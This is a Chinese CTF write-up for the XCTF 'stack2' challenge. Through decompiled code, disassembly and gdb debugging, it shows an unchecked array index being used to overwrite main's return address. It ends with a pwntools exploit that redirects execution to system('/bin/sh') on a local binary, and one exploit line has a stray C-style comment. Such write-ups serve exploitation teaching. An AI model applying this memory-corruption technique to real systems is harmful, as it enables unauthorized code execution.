『攻防世界』:进阶区 | stack2
checksec:
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA静态分析:
int __cdecl main(int argc, const char **argv, const char **envp) { unsigned int v3; // eax unsigned int v5; // [esp-90h] [ebp-90h] unsigned int v6; // [esp-8Ch] [ebp-8Ch] int v7; // [esp-88h] [ebp-88h] unsigned int j; // [esp-84h] [ebp-84h] signed int v9; // [esp-80h] [ebp-80h] signed int i; // [esp-7Ch] [ebp-7Ch] unsigned int k; // [esp-78h] [ebp-78h] unsigned int l; // [esp-74h] [ebp-74h] int v13; // [esp-70h] [ebp-70h] unsigned int v14; // [esp-Ch] [ebp-Ch] v14 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); v9 = 0; puts("***********************************************************"); puts("* An easy calc *"); puts("*Give me your numbers and I will return to you an average *"); puts("*(0 <= x < 256) *"); puts("***********************************************************"); puts("How many numbers you have:"); __isoc99_scanf("%d", &v5); puts("Give me your numbers"); for ( i = 0; i < v5 && i <= 99; ++i ) { __isoc99_scanf("%d", &v7); *((_BYTE *)&v13 + i) = v7; } for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit"); __isoc99_scanf("%d", &v6); if ( v6 != 2 ) break; puts("Give me your number"); __isoc99_scanf("%d", &v7); if ( j <= 0x63 ) { v3 = j++; *((_BYTE *)&v13 + v3) = v7; } } if ( v6 > 2 ) break; if ( v6 != 1 ) return 0; puts("id\t\tnumber"); for ( k = 0; k < j; ++k ) printf("%d\t\t%d\n", k, *((char *)&v13 + k)); } if ( v6 != 3 ) break; puts("which number to change:"); __isoc99_scanf("%d", &v5); puts("new number:"); __isoc99_scanf("%d", &v7); *((_BYTE *)&v13 + v5) = v7; } if ( v6 != 4 ) break; v9 = 0; for ( l = 0; l < j; ++l ) v9 += *((char *)&v13 + l); } return 0; }
这道题漏洞让我好找,找了好久也不知道漏洞在哪,去网上找(chao)了一些思路,本题的栈溢出并不是常规的read这种输入输出流,而是因为对v5没有任何检测,数组没有边界检查导致的,这样的栈溢出比较隐蔽。在第三个选项,change number里v13定义为char v13[100],但是在这里并没有边界的检查导致栈溢出。题目中已近有现成的后门函数(0x0804859B)。
.text:080486BD call ___isoc99_scanf .text:080486C2 add esp, 10h .text:080486C5 mov eax, [ebp-88h] .text:080486CB mov ecx, eax .text:080486CD lea edx, [ebp-70h] .text:080486D0 mov eax, [ebp-7Ch] .text:080486D3 add eax, edx .text:080486D5 mov [eax], cl
从汇编中可以看到程序通过scanf将数据存储到栈中,然后通过eax和ecx将数据存储到eax中存放的地址中去(cl是ecx的低位)那意味着在程序运行到0x080486D5的位置时,此时eax中存放的即时数组的首地址linux下我们用gdb调试的看一下
int hackhere() { return system("/bin/bash"); }
原理很清楚,只要选changenumber就可以修改任意地址的数据,我们只要找到v13数据距离ret的距离,就可以获取shell。
经过下面的调试,可以发现ebp=v13+0x70,ret=v13+0x84。由于程序中虽然有函数hackhere可以让我们获取到system的plt,但是他的参数不是/bin/sh,所以需要自己填返回地址和参数。
首先要知道v13数组的一个参数存放的位置:
.text:08048698 push offset asc_8048A9A ; "Give me your numbers" .text:0804869D call _puts .text:080486A2 add esp, 10h .text:080486A5 mov dword ptr [ebp-7Ch], 0 .text:080486AC jmp short loc_80486DB .text:080486AE ; --------------------------------------------------------------------------- .text:080486AE .text:080486AE loc_80486AE: ; CODE XREF: main+11C↓j .text:080486AE sub esp, 8 .text:080486B1 lea eax, [ebp-88h] .text:080486B7 push eax .text:080486B8 push offset asc_8048A97 ; "%d" .text:080486BD call ___isoc99_scanf .text:080486C2 add esp, 10h .text:080486C5 mov eax, [ebp-88h] .text:080486CB mov ecx, eax .text:080486CD lea edx, [ebp-70h] .text:080486D0 mov eax, [ebp-7Ch] .text:080486D3 add eax, edx .text:080486D5 mov [eax], cl .text:080486D7 add dword ptr [ebp-7Ch], 1
其中var-88是我们第一个输入的数字,并且他被存放到eax中,使用gdb动态调试,在0x080486d5出下断点,查看eax中存放的地址,可以看到是0xffffc1e8.
──────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────── EAX 0xffffc1e8 ◂— 0xca0000 EBX 0x0 ECX 0x1 EDX 0xffffc1e8 ◂— 0xca0000 EDI 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0x1 EBP 0xffffc258 ◂— 0x0 ESP 0xffffc1b0 —▸ 0xf7ffda7c —▸ 0xf7fd2b18 —▸ 0xf7ffd920 ◂— 0x0 EIP 0x80486d5 (main+261) ◂— 0x45830888
接下来我们查看当程序运行结束后esp指向的地址即为返回地址:
.text:080488EE leave .text:080488EF lea esp, [ecx-4] .text:080488F2 retn .text:080488F2 ; } // starts at 80485D0 .text:080488F2 main endp
在0x080488f2出下断点,查看寄存器esp中的值:
──────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────── EAX 0x0 EBX 0x0 ECX 0xffffc270 ◂— 0x1 EDX 0xf7fb087c (_IO_stdfile_0_lock) ◂— 0x0 EDI 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0 ESI 0x1 EBP 0x0 ESP 0xffffc26c —▸ 0xf7e14286 (__libc_start_main+246) ◂— add esp, 0x10 EIP 0x80488f2 (main+802) ◂— 0x669066c3
可以看到esp中的地址为0xffffc26c, 所以得到距离为:0xffffc26c-0xffffc1e8 = 0x84
现在能控制返回地址(system.plt:0x08048450)及其后面(+0x4)的参数(/bin/sh:0x08048987),只要主程序返回即可进入我们挟持的程序执行流。
exp:
from pwn import * def send_num(addr,num): sh.sendlineafter("5. exit","3") sh.sendlineafter("which number to change:",str(addr)) sh.sendlineafter("new number:",str(num)) sh=process("./stack2") sh.sendlineafter("you have:","1") sh.sendlineafter("your numbers","1") send_num(0x84,0x50) send_num(0x85,0x84) send_num(0x86,0x04) send_num(0x87,0x08) #注意这里需要空出0x4来,所以从0x8c开始 send_num(0x8c,0x87) send_num(0x8d,0x89) send_num(0x8e,0x04) send_num(0x8f,0x08) sh.sendline("5")//让主函数返回 sh.interactive()
注:程序是小端序,所以参数和返回地址内容是反着的的,不知道为啥博客园插入折叠的代码在编辑模式不能展开,如果有哪位湿父知道麻烦和我说下。